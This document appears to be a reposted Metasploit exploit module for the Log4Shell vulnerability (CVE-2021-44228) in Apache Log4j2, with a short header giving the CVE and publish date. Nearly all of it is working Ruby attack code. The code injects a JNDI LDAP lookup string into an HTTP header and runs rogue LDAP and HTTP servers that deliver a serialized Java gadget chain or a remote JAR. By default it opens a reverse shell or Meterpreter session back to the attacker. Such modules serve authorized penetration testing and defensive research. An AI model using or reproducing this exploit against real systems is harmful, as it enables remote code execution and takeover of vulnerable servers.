Log4Shell HTTP Header Injection

Related Vulnerabilities: CVE-2021-44228  
Publish Date: 12 Jan 2022
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::JavaDeserialization
  include Msf::Exploit::Java
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::LDAP::Server
  include Msf::Exploit::Remote::CheckModule
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(_info = {})
    super(
      'Name' => 'Log4Shell HTTP Header Injection',
      'Description' => %q{
        Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,
        log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.

        This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that
        will trigger an LDAP connection to Metasploit and load a payload.

        The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP
        server in addition to the LDAP server that the target can connect to. The targeted application must have the
        trusted code base option enabled for this technique to work.

        The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to
        run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target
        application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.
      },
      'Author' => [
        'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff
        'juan vazquez', # 2011-3544 building blocks reused in this module
        'sinn3r', # 2011-3544 building blocks reused in this module
        'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance
        'RageLtMan <rageltman[at]sempervictus>' # Metasploit module and infrastructure
      ],
      'References' => [
        [ 'CVE', '2021-44228' ],
      ],
      'DisclosureDate' => '2021-12-09',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'SRVPORT' => 389,
        'WfsDelay' => 30,
        'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
      },
      'Targets' => [
        [
          'Automatic', {
            'Platform' => 'java',
            'Arch' => [ARCH_JAVA],
            'RemoteLoad' => true,
            'DefaultOptions' => {
              'PAYLOAD' => 'java/shell_reverse_tcp'
            }
          }
        ],
        [
          'Windows', {
            'Platform' => 'win',
            'RemoteLoad' => false,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
            }
          },
        ],
        [
          'Linux', {
            'Platform' => 'unix',
            'RemoteLoad' => false,
            'Arch' => [ARCH_CMD],
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_bash'
            }
          },
        ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'AKA' => ['Log4Shell', 'LogJam'],
        'Reliability' => [REPEATABLE_SESSION],
        'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]
      },
      'Stance' => Msf::Exploit::Stance::Aggressive
    )
    register_options([
      OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
      OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
      OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),
      OptEnum.new('JAVA_GADGET_CHAIN', [
        true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1',
        Msf::Util::JavaDeserialization.ysoserial_payload_names
      ], conditions: %w[TARGET != Automatic]),
      OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),
      OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
    ])
  end

  def check
    validate_configuration!
    # set these scanner options as appropriate based on the config
    datastore['URIS_FILE'] = nil
    if !datastore['HTTP_HEADER'].blank?
      datastore['HEADERS_FILE'] = nil
    end

    @checkcode = super
  end

  def jndi_string
    "${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
  end

  def resource_url_string
    "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"
  end

  #
  # Use Ruby Java bridge to create a Java-natively-serialized object
  #
  # @return [String] Marshalled serialized byteArray of the loader class
  def byte_array_payload(pay_class = 'metasploit.PayloadFactory')
    jar = generate_payload.encoded_jar
    serialized_class_from_jar(jar, pay_class)
  end

  #
  # Insert PayloadFactory in Java payload JAR
  #
  # @param jar [Rex::Zip::Jar] payload JAR to update
  # @return [Rex::Zip::Jar] updated payload JAR
  def inject_jar_payload_factory(jar = generate_payload.encoded_jar)
    # From exploits/multi/browser/java_rhino - should probably go to lib
    paths = [
      [ 'metasploit/PayloadFactory.class' ]
    ]
    paths.each do |path|
      1.upto(path.length - 1) do |idx|
        full = path[0, idx].join('/') + '/'
        jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)
      end
      File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|
        data = fd.read(fd.stat.size)
        jar.add_file(path.join('/'), data)
      end
    end
    jar
  end

  #
  # Generate and serialize the payload as an LDAP search response
  #
  # @param msg_id [Integer] LDAP message identifier
  # @param base_dn [Sting] LDAP distinguished name
  #
  # @return [Array] packed BER sequence
  def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')
    if target['RemoteLoad']
      attrs = [
        [ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
        [ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
        [ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
        [ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,
      ]
    else
      java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)
      # vprint_good("Serialized java payload: #{java_payload}")
      attrs = [
        [ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
        [ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
      ]
    end
    appseq = [
      base_dn.to_ber,
      attrs.to_ber_sequence
    ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
    [ msg_id.to_ber, appseq ].to_ber_sequence
  end

  ## LDAP service callbacks
  #
  # Handle incoming requests via service mixin
  #
  def on_dispatch_request(client, data)
    return if data.strip.empty?

    data.extend(Net::BER::Extensions::String)
    begin
      pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
      vprint_status("LDAP request data remaining: #{data}") unless data.empty?
      resp = case pdu.app_tag
             when Net::LDAP::PDU::BindRequest # bind request
               client.authenticated = true
               service.encode_ldap_response(
                 pdu.message_id,
                 Net::LDAP::ResultCodeSuccess,
                 '',
                 '',
                 Net::LDAP::PDU::BindResult
               )
             when Net::LDAP::PDU::SearchRequest # search request
               if client.authenticated || datastore['LDAP_AUTH_BYPASS']
                 client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))
                 service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
               else
                 service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
               end
             else
               vprint_status("Client sent unexpected request #{pdu.app_tag}")
               client.close
             end
      resp.nil? ? client.close : on_send_response(client, resp)
    rescue StandardError => e
      print_error("Failed to handle LDAP request due to #{e}")
      client.close
    end
    resp
  end

  ## HTTP service callbacks
  #
  # Handle HTTP requests and responses
  #
  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
    pay = regenerate_payload(cli)
    jar = inject_jar_payload_factory(pay.encoded_jar)
    send_response(cli, 200, 'OK', jar)
  end

  #
  # Create an HTTP response and then send it
  #
  def send_response(cli, code, message = 'OK', html = '')
    proto = Rex::Proto::Http::DefaultProtocol
    res = Rex::Proto::Http::Response.new(code, message, proto)
    res['Content-Type'] = 'application/java-archive'
    res.body = html
    cli.send_response(res)
  end

  def exploit
    validate_configuration!
    if datastore['HTTP_HEADER'].blank?
      targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first
      http_header = targetinfo[:headers].keys.first if targetinfo
      fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header

      print_good("Automatically identified vulnerable header: #{http_header}")
    else
      http_header = datastore['HTTP_HEADER']
    end

    # LDAP service
    start_service
    # HTTP service
    start_http_service if target['RemoteLoad']
    # HTTP request initiator
    send_request_raw(
      'uri' => normalize_uri(target_uri),
      'method' => datastore['HTTP_METHOD'],
      'headers' => { http_header => jndi_string }
    )
    sleep(datastore['WfsDelay'])
    handler
  ensure
    cleanup
  end

  #
  # Kill HTTP & LDAP services (shut them down and clear resources)
  #
  def cleanup
    # Clean and stop HTTP server
    if @http_service
      begin
        @http_service.remove_resource(datastore['URIPATH'])
        @http_service.deref
        @http_service.stop
        @http_service = nil
      rescue StandardError => e
        print_error("Failed to stop http server due to #{e}")
      end
    end
    super
  end

  private

  # Boilerplate HTTP service code
  #
  # Returns the configured (or random, if not configured) URI path
  #
  def resource_uri
    path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'
    path = '/' + path if path !~ %r{^/}
    if path !~ /\.jar$/
      print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")
      path += '.jar'
    end
    datastore['URIPATH'] = path
    return path
  end

  #
  # Handle the HTTP request and return a response.  Code borrowed from:
  # msf/core/exploit/http/server.rb
  #
  def start_http_service(opts = {})
    comm = datastore['ListenerComm']
    if (comm.to_s == 'local')
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end
    # Default the server host / port
    opts = {
      'ServerHost' => datastore['SRVHOST'],
      'ServerPort' => datastore['HTTP_SRVPORT'],
      'Comm' => comm
    }.update(opts)
    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      opts['ServerPort'].to_i,
      opts['ServerHost'],
      datastore['SSL'],
      {
        'Msf' => framework,
        'MsfExploit' => self
      },
      opts['Comm'],
      datastore['SSLCert']
    )
    @http_service.server_name = datastore['HTTP::server_name']
    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => method(:on_request_uri),
      'Path' => resource_uri
    }.update(opts['Uri'] || {})
    proto = (datastore['SSL'] ? 'https' : 'http')
    print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
    if (opts['ServerHost'] == '0.0.0.0')
      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address}:#{opts['ServerPort']}#{uopts['Path']}")
    end
    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)
  end

  def validate_configuration!
    fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
    if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
      fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
    end
  end
end
<p>